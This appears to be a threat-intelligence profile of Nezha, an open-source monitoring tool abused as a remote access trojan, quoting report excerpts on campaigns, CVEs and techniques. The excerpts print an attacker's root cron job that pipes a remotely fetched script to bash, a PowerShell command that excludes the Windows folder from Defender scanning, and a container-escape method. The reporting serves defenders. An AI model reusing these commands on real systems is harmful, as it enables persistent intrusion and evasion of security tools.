Loading malware…
Nezha is a legitimate, open-source server and uptime monitoring platform that threat actors repurpose as a remote access trojan and post-exploitation management agent. Its client-server architecture allows operators to monitor system health, execute commands, transfer files, and open interactive terminal sessions across compromised hosts from a centralized dashboard. It supports Windows, Linux, macOS, and consumer routers, including OpenWrt devices. Unauthorized deployments provide ongoing remote access, while monitoring-like network traffic can help the activity blend into legitimate administration.
In an intrusion campaign detected in August 2025, attackers accessed an unauthenticated, internet-exposed phpMyAdmin interface and abused MariaDB query logging to plant a PHP web shell. They operated the shell through AntSword, installed Nezha, and used its command-execution functionality to launch PowerShell, configure Microsoft Defender exclusions, and execute a Gh0st RAT variant. More than 100 potential victim systems were visible in the attacker-controlled dashboard, predominantly in Taiwan, Japan, South Korea, and Hong Kong. Nezha has also been deployed following exploitation of React2Shell and Ivanti Endpoint Manager Mobile vulnerabilities, used in managed service provider intrusions, and included among command-and-control tools used by Medusa ransomware operators. These malicious uses reflect abuse of legitimate software rather than inherently malicious behavior in the Nezha project.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
17 distinct techniques documented for this family, organized by ATT&CK tactic.
In some instances, attackers attempted to bypass authentication on Ivanti's MobileIron platform and immediately download and run a second-stage payload... This second stage typically installs a web shell, a cryptominer or a persistent backdoor.
“Ivanti Endpoint Manager Mobile (EPMM) … vulnerabilities … allow unauthenticated attackers to remotely execute arbitrary code on target servers”
The attacker then created a malicious cron job named ngk: * * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash
After installing the Nezha agent, it was used to run an interactive PowerShell so that Windows Defender exclusions could be created before deploying and running another executable called x.exe.
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash
Trend™ Research observed that CVE-2025-55182, as of this writing, is being exploited in-the-wild... a critical (CVSS 10.0) pre-authentication remote code execution vulnerability affecting React Server Components (RSC)... An attacker can send malicious data that executes arbitrary code on your servers before any authentication occurs.
The intrusion against the Docker-based honeypot was initiated with a malicious container create command.
The attacker then created a malicious cron job named ngk: * * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash
sets a systemd service for persistence, claiming to be an “Rsyslog AV Agent Service”.
The attacker then created a malicious cron job named ngk: * * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash
sets a systemd service for persistence, claiming to be an “Rsyslog AV Agent Service”.
The attacker made use of [a Docker bind mount] to pass through the cron.d directory... By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.
...conducting reconnaissance using sleep commands to confirm remote code execution.
powershell.exe executed Add-MpPreference -ExclusionPath 'C:\WINDOWS' to disable Windows Defender scanning the Windows folder.
Once enrolled, the agent periodically reports host telemetry such as CPU, memory, disk, uptime, and network stats
...conducting reconnaissance using sleep commands to confirm remote code execution.
Numerous new tools have been used to support command and control (C2) and stealth. These include publicly available tools like Nezha... and GSocket, which allows workstations on different private networks to connect and bypass firewalls.
T1071.001 — Application Layer Protocol: Web Protocols (Command and Control)
Several of these are attacks that execute Cobalt Strike beacons generated with Cross C2, deploy Nezha, Fast Reverse Proxy (FRP), the Sliver payload, and the Secret-Hunter payload.
This resulted in the host downloading and running the linux_install.sh file with root privileges. The linux_install script... retrieves a second-stage script (nezha_install.sh) from the same domain.
Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts... The tool also enables remote administrative access via an interactive shell.
45 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
25 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.